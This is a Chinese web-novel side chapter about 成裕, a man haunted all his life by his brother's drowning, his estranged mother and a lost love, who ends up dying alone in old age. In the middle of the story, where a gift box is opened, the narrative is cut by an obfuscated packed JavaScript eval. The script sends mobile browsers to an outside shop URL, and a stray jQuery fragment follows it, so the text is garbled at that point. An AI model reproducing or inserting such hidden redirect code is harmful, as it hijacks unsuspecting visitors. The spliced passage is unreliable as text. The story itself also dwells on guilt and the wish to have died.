从小，成裕最喜欢的动漫就是《蜡笔小新》。
五岁以前，成裕也生活在和野原新之助一样的家庭里，唯一不同的是——小新有妹妹，他有哥哥。
五岁以前，成裕不叫成裕，叫徐裕。是不是听起来很像“须臾”这个词。
长大一点，上了学，某天在课堂上学到这个词，老师在讲台上耐心讲解，“须臾这个词表示极短的时间，下次在作文里是不是可以用到……”
成裕出生在一个很普通的家庭。爸爸是高中教师，为学生而忽略家庭是常有的事。妈妈之前是文员，后因成裕的出生在家当家庭主妇。整个家庭全靠徐老师一人，只要省吃俭用，日子也过得下去。
变故发生在五岁的暑假。
外公从房梁上摔下，情况不是太好。成姨又是远嫁，两个孩子都太小，从庆安过去要坐两天的火车，综合考虑下来，成姨离开的这几天，由徐老师在家照看两个孩子。
外公的情况远比想象的糟糕，成姨一去就是半个多月，高三开学的早，徐老师身为班主任不可能不去学校。于是和邻居阿姨打好招呼，两个孩子吃完早饭就会过去。
起初几天都是很好的，两个孩子睡起吃完早饭，再去邻居阿姨家。
直到成姨回来的前一天晚上，兄弟俩听到妈妈明天晚上到家的消息。
夜里，房门紧闭，月光透着窗帘照射进来。老房子的隔音并不好，听到徐老师关门的声响，徐舟才出声，“小裕，你睡了没？”
成裕的脑袋从被褥里探出，往上铺看去。“没呢，哥哥，明天妈妈回来我兴奋得睡不着。”
“我也一样，我们明天要不要给妈妈一个惊喜。”
“好啊好啊，什么惊喜？”
“你先好好睡觉，明天早点起来。”
成裕对哥哥向来言听计从，“嗯！哥哥你明天记得叫我。”
“好，快睡吧。”
次日一早，等徐老师一出门，徐舟叫醒熟睡的成裕，“快点起，我们得赶紧走，”
穿好衣服，徐舟递过来两片面包，“来，面包拿着在路上吃，我们得赶在十点前回来。”
“为什么这么赶？”
“我们平常都是十点去阿姨家，没人知道的才是惊喜。”
“哥，那我们要去哪？”
“跟着我走就行了。”
庆安是临江城市，坐了几站公交，终于在江边那站下车。
“哥，来江边做什么？”
“之前我听班里的同学说，他在江边捡到了四叶草。”
“四叶草是什么？”
“四叶草代表着幸运。”
成裕的玩心很重，没一会，就没耐心找什么四叶草，四处乱窜。
徐舟看到，“小心点，别跑远了。”
成裕哪管这个。
离江水只有几步时，突然看到一块形状奇怪的石头，一步一步，越走越近，手还没触碰到那块石头，突如其来的，脚下一滑，直直掉入水中。
成裕已经不记得当时的情况，反应过来时，人已经在岸上，而哥哥却永远留在了那片江里。
徐老师来的时候，徐舟已经被打捞上来，他什么也没说，紧紧抱住发抖的成裕，强忍着哽咽，“不怕不怕。”
这几个字重复了一遍又一遍。
当晚，成姨在警察局看到了盖着白布的徐舟，手里的四叶草因为江水的浸泡变得四分五裂。
“再过几天就是小舟十岁的生日。”成姨的嘴里一直说着这句话。
从这天过后，家里的一切都变了。
成姨整天以泪洗面，成裕收起贪玩好动的性格，开始变得内向，徐老师第二天就去学校了，每天中午会带回学校的饭菜。
送走徐舟的那天，徐老师临时接到学校的电话，有个学生从楼梯摔下，需要去一趟。
走前，成姨说出了这几天的第一句话，“儿子的葬礼，你还想着你的学生吗？”
“我马上就回来。”
当晚，成姨提了离婚。
“签字吧，房子给你，徐裕归我。”
徐老师没有挽留。
他知道——
这么多年，因为工作的特殊性，让他们母子三人受了不少委屈。
“房子给你，周末我会搬出去。”
再之后，徐裕改姓成，跟随成姨去往了老家，直到初中时才回庆安。
无数的日夜，成裕都会看到妈妈在房间里偷偷流泪。
成姨看成裕的眼神，也始终带着一股疏离。
为了让妈妈开心，成裕努力学习，常年稳居年级第一，也会帮妈妈做家务，会提前做好一桌饭菜等妈妈回家。
从五岁开始，失眠对成裕来说是常有的事，整夜整夜睡不着更是寻常。
《蜡笔小新》就在这种时刻陪了成裕一天又一天。
每晚，成裕都在想，为什么当初要去捡那块石头，如果当时溺死的是我就好了。
……
上了大学后，成裕主动承担起自己的生活费，和成姨之间的聊天内容大都是成裕单方面的转账记录，以及成姨的一两句问好。
大四那年，成裕遇到了今昭。
成裕清楚知道自己这种人，配不上活在光亮里的今昭。可当他偶然间看到成姨朋友圈里李缘分享的照片时，只一眼，成裕就认出了今昭。
于是他开始策划，他也想试一试，也想从黑暗里挣脱，也想触碰一下光。
当今昭叫出“谢妄”的那一刻。
成裕心里在想什么呢？
他也不知道。
唯一的念头只有——留在她身边。
可是，事实却永不如人愿。
一切成裕想要抓住的幸福，只会有须臾的感受，到最后全都化为乌有。
分手那天夜里，电视机里一遍又一遍播放着《蜡笔小新》。
成裕在这种欢笑声睡着了。
这晚，成裕梦见了哥哥。
三十多年都不曾出现在梦里的哥哥。
梦里的徐舟，是七岁时的模样。
那一刻，成裕终于说出那句藏在心里多年的“对不起”。
他说：“小裕，哥哥不怪你，哥哥只想你好好生活，去做你真正想做的。可以答应哥哥吗？”
梦里的成裕没有给出答案。
可后来去美国研究院的行动回答了那个问题。
可以。
还有，
哥哥，对不起。
来研究院的第五年，某一天，成裕收到来自国内的快递。
本以为又是妈妈寄来的手织毛衣，没想到是寄件人那一栏写着——今昭。
这几年，成裕一直和今昭保持着联系，但仅限于节假日的问候。
三年前，成裕在朋友圈得知了今昭生子的消息。照片里，小公主穿着粉色的婴儿服，白白嫩嫩的，和她很像。
之后的每一年，成裕都会寄去礼物。
划开纸箱，里面放着一个精美的礼盒。
小心翼翼撕开包装纸，打开礼盖。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740931|204182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是一条围巾。
最下面还有一张卡片——
成裕，好久不见，礼物我们收到了，小梦很喜欢。这是一条羊绒围巾，在商场看到它的第一眼，小梦就说它很适合你。希望你能喜欢。
一人在国外，照顾好自己。
有需要帮助的地方随时联系我。
还有，成阿姨很想你。
卡片背面，是一幅儿童画，上面画着一个叔叔带着围巾漫步在城市的街头，下面的字歪歪扭扭：谢谢叔叔。
难得的，成裕露出久违的笑。
这张卡片被放在床头，成裕常常会看它愣神。
那句“成阿姨很想你”，看了一遍又一遍。然后再对折起来，只将画的一面朝外。
这五年，成裕从未回过国。
他习惯了孤独。
即使走出来了。
来了美国，成裕主动去看了医生。
失眠也好了些。
在外人看来，成裕还是那个温柔的研究者。
会和同事一起去享用午餐，会邀请朋友在假期来家吃饭，会答应朋友出去玩的邀约……
似乎一切都在向好的方向发展。
可只有成裕知道，他这一辈子应该就这样了。
一个人。
永远一个人。
今昭更新朋友圈的频率并不高，一个月可能就一两次。可每次，成裕都会是第一个看到。
他像一个偷窥者，偷窥着别人的幸福。好像只有这样，他才能感到片刻的快乐。
一条条刷去，今昭分享的几乎都是一家三口的合照或者女儿的单人照。
每一张，他们的脸上都洋溢着笑容。
小女孩长得越来越不像今昭了，反而有点像谢妄。
她很幸福。
这就足够了。
关上手机，成裕按下遥控器开始键，电视机里的内容继续，画面重新动了起来。
电视里，美伢为幼儿园的义卖会连着好几个日夜织出自己并不擅长的围巾，样式不好看，义卖会上没有人会买，而广志却会偷偷买下这条围巾。
成裕抱着膝，只露出双眼。
屋内的窗帘紧闭，电视机的灯光打在脸庞上，看不出神情。
再后来，成裕选择定居在美国。
从来美国的几十年里，他从未回国。
就连父母的葬礼都是托国内的友人处理。
暮年的时候，成裕依旧是一个人。
但他养了一条金毛。
他从研究院退下，搬离了市区，在一片荒凉处盖了一座房屋。
每天的日常就是养养花，遛遛狗。
还算充实。
对他来说。
年纪一天天上来，成裕也变成了两鬓斑白的老人。在察觉到快不行的时候，他送走陪伴快八年的金毛，他怕哪一天自己死在这间屋子，金毛会没人喂养。
到头来，成裕又变成了一个人。
也挺好。
一个人也挺好。
无牵无挂的。
挺好。
金毛的离开，成裕再没开口说过一句话，每天醒来就是在摇椅上等着死亡的到来，花圃里的花也逐渐枯死。
从日出到日落，从秋季到春季。
又是一年初春，无数嫩芽从泥土里蹦出。
成裕是在这样的季节离开的。
他走得突然，无人知道，无人送别。
闭眼的那刻，脚边的四叶草终于蹦出。